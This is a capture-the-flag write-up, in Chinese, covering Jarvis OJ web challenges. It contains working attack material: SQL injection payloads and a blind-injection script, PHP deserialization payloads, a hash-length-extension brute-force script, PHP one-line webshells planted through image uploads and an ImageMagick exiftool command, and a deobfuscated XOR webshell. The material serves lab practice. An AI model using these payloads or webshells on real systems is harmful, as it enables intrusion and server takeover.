PORT51
直接在vps上用curl命令即可
LOCALHOST
加一个xff,ip为127.0.0.1即可
Login
在header里有提示
根据这篇文章:http://www.am0s.com/functions/204.html
可以得到一个字符串:ffifdyop
提交即可获得flag
神盾局的秘密
header里有猫腻:
发现可以任意读文件
先看看showimg.phpview-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
1
2
3
4
5
6
7
8
9
10
11
12
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
再看看Index.phpview-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
1 |
|
发现shield.php
,去看看:view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
发现也就是个简单的类构造……过滤基本上没有影响,估计是怕你乱搞……不是为了这道题设置的
所以直接生产payload:1
2
3
4
5
6
7
8
9
10
11
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$a = new Shield();
$a->file = "pctf.php";
echo serialize($a);
得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
访问:1
view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
得到:1
2
3
4
5
6
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
![](showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
即可完结此题
IN A Mess
上来无脑id,以为是注入……随便试试不行……
看了header等地方也没找到提示,想到会不会是文件泄露或者源码泄露啥的
后来发现http://web.jarvisoj.com:32780/index.phps
是源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
发现只是一个简单的trick
关键点在这里:1
2$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
对于data,用php://input即可,他过滤了’.’,估计是不能用文件包含的,所以我们要用php伪协议post一个Data
对于变量b,关键是eregi用%00截断即可
而id是一个弱比较,用id=0a即可
得到一个目录
访问:http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1
随手试了一下:http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1'
得到:SELECT * FROM content WHERE id=1'
看来是一个注入题
尝试了一通1
2http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/
selselectect/*1*/1,2,3#
回显得到3
随机尝试1
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,database()#
回显得到test
然后就是常规思路爆表爆字段
可以得到表名content
字段id、context、title1
2http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/
selselectect/*1*/1,2,group_concat(id,context,title)/*1*/frfromom/*1*/content#
然后得到flag1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666
这里推荐group_concat()
这个函数没被过滤,回显注入很好使
RE
下载下来后文件名为udf.so.XXXXX,用mysql导入一下。具体过程如下。
将udf文件放到/usr/lib/mysql/plugin/文件夹中:1
/usr/lib/mysql/plugin# wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
登陆mysql后,加载help_me函数:1
2mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
Query OK, 0 rows affected (2.04 sec)
利用help_me函数:1
2
3
4
5
6
7
8mysql> select help_me();
+---------------------------------------------+
| help_me() |
+---------------------------------------------+
| use getflag function to obtain your flag!!
|
+---------------------------------------------+
1 row in set (0.17 sec)
利用udf再创建一个getflag函数。1
2mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
Query OK, 0 rows affected (0.05 sec)
得到flag:1
2
3
4
5
6
7
8mysql> select getflag();
+------------------------------------------+
| getflag() |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}
|
+------------------------------------------+
1 row in set (0.00 sec)
flag在管理员手里
上去先抓了包,发现了他会设置一个md5和你的身份
猜想会不会是哈希长度拓展攻击
后来发现文件泄露http://web.jarvisoj.com:32778/index.php~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
果然是哈希长度拓展攻击
然而尴尬的是不知道$salt的长度,只能选择爆破……
我这里选用的工具是hash_extender+python
安装hash_extender步骤:1
2
3git clone https://github.com/iagox86/hash_extender
cd hash_extender
make
然后python脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib
def gao(x, y):
#print x
#print y
url = "http://web.jarvisoj.com:32778/index.php"
cookie = "role=" + x + "; hsh=" + y
#print cookie
build_header = {
'Cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
'Host': 'web.jarvisoj.com:32778',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
urlparts = urlparse(url)
conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
conn.request("GET", urlparts.path, '', build_header)
resp = conn.getresponse()
body = resp.read()
return body
for i in xrange(1000):
print i
# secret len = ???
find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
#print find_hash
calc_res = os.popen(find_hash).readlines()
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
ret = gao(attack_padding, hash_value)
if "Welcome" in ret:
print ret
break
注意这个脚本在hash_extender目录下使用
然后得到回显:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1712
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3} </h3>
</body>
</html>
可见盐的长度是12……
此题完结
Chopper
查看源代码,图片的插入方式比较奇怪,如下:http://web.jarvisoj.com:32782/proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
点击管理员登陆http://web.jarvisoj.com:32782/admin
查看源代码得到提示:<!--<script>alert('admin ip is 103.27.76.153')</script>-->
结合前面图片的插入方式,我们构造下面链接访问:1
2http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?
url=http://web.jarvisoj.com:32782/admin/
通过扫描器知admin目录下有robots.txt,内容如下:1
2
3User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
其中trojan.php.txt的内容是:1
2
3
4
5"#"^"|").("#"^"|")}=("!"^"`").("( ${(
"^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}
(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").
("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S").
("_"^"o"). ("?"^"b"). ("]"^"t"));
上述代码保存为php页面运行一下,得到Warning:1
2Warning: assert() [function.assert]: Assertion "eval($_POST[360])" failed
in C:\phpstudy\WWW\b.php on line 1
得到一句话木马:eval($_POST[360])
shell页面:trojan.php
连接即可得到flag
Easy Gallery
看到了upload页面,猜想会不会是上传题目
随便找了个图片,在ffd9后加上小马:<script language="php">@eval($_POST['sky']);</script>
上传后得到id,然后确定了图片地址:http://web.jarvisoj.com:32785/uploads/1499355842.jpg
通过观察url:http://web.jarvisoj.com:32785/index.php?page=view
猜想访问图片的方式为:http://web.jarvisoj.com:32785/index.php?page=uploads/1499355842.jpg
访问后得到回显:1
2
3Warning: fopen(uploads/1499355842.jpg.php): failed to open stream: No
such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!
发现图片后面跟着.php,于是想到了%00截断
所以访问:http://web.jarvisoj.com:32785/index.php?page=uploads/1499355842.jpg%00
即可得到flag
Simple Injection
很明显是个注入题目:
用户名处存在注入。根据是用户名错误还是密码错误来进行判断。过滤了空格,and,or。
过滤空格,可以用/**/绕过
过滤or,可以用||来替代
脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#encoding: utf-8
#created by noble @ 2017.1.21
import requests
url = "http://web.jarvisoj.com:32787/login.php"
table_name_temp = "admin'/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))>{1}#"
column_name_temp = "admin'/**/and/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x61646D696E/**/limit/**/2,1),{0},1))>{1}#"
password_temp = "admin'/**/and/**/ascii(substr((select/**/password/**/from/**/admin/**/limit/**/0,1),{0},1))>{1}#"
result = ""
session = requests.Session()
char = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(1, 50): #设置字符长度为50
for c in char:
asc = ord(c) #获取字符的ascii值
username = password_temp.format(i, asc)
data = {'username': username,
'password': 'admin'
}
req = session.post(url=url, data=data, timeout=10)
status = req.status_code
length = req.headers['content-length']
if status == 200:
#print length
#print req.text
if length == "1205":
result += c
print c
break
print result
得到密码的md5:334cfb59c9d74849801d5acdcfdaadc3
解md5后得:eTAloCrEP
登陆后得到flag:flag:CTF{s1mpl3_1nJ3ction_very_easy!!}
api调用
一道xml题目,操作如下:
图片上传漏洞
打开入口发现是个上传图片的 发现只能上传图片
然后扫到个 test.php
发现有 ImageMagick 还是存在漏洞的
于是找了一下
是一个cve:http://www.2cto.com/article/201605/505823.html
先用 exiftool 生成一个一句话后门 路径由 phpinfo 得到:1
2exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> >
/opt/lampp/htdocs/uploads/x.php; \"" 20161113150830.png
注意这里 是需要转义两次的意思是要在图片里面带有一个 这样在服务器上echo写入的时候才会保留
先上传一次带有后门的图片得到图片路径 然后拼接在发包一次修改 filetype 的参数为 show
最后上菜刀得到flag
PHPINFO
题目已经给出了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
第一眼看到session.serialize_handler
,意识到这题可能存在反序列化的漏洞
然后去看了一下phpinfo页面
由phpinfo()页面知,session.upload_progress.enabled为On。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
所以构造一个html:1
2
3
4
5<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
用来添加我们想要的数据。
接下来考虑序列化的问题:1
2
3
4
5
6
7
8
9
10
11
12
13class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
在这里,可以把$this->mdzz = 'phpinfo();';
改为$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
然后将其序列化:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止转义,在引号前加上\。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意,前面有一个|,这是session的格式。
接下来就是去读取 Here_1s_7he_fl4g_buT_You_Cannot_see.php
由phpinfo可知当前的路径为/opt/lampp/htdocs/
所以得到print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
之后步骤如前,将filename改为:1
2|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents
(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag:CTF{4d96e37f4be998c50aa586de4ada354a}
WEB?
有一个check功能,输入错误的密码会提示“Wrong Password!!”,查看源代码,有个app.js。将该js文件格式化后在里面查找字符串“Wrong Password!!”,如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15$.post("checkpass.json", t,
function(t) {
self.checkpass(e) ? self.setState({
errmsg: "Success!!",
errcolor: b.green400
}) : (self.setState({
errmsg: "Wrong Password!!",
errcolor: b.red400
}), setTimeout(function() {
self.setState({
errmsg: ""
})
},
3e3))
})
可以看到有个checkpass(e)函数,定位到该函数处。1
2
3
4r.checkpass = function() {
var e;
return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments)
},
定位到 checkpassREACTHOTLOADER 处:
发现是一个线性方程组。1
2
3
4
5
6
7
8
9
10
11import numpy as np
from scipy.linalg import solve
import string
r = np.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = np.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
x = solve(o,r)
flag = ""
for i in range(len(x)):
char = chr(int(round((x[i]))))
flag += char
print(flag)
得到flag:QWB{R3ac7_1s_interesting}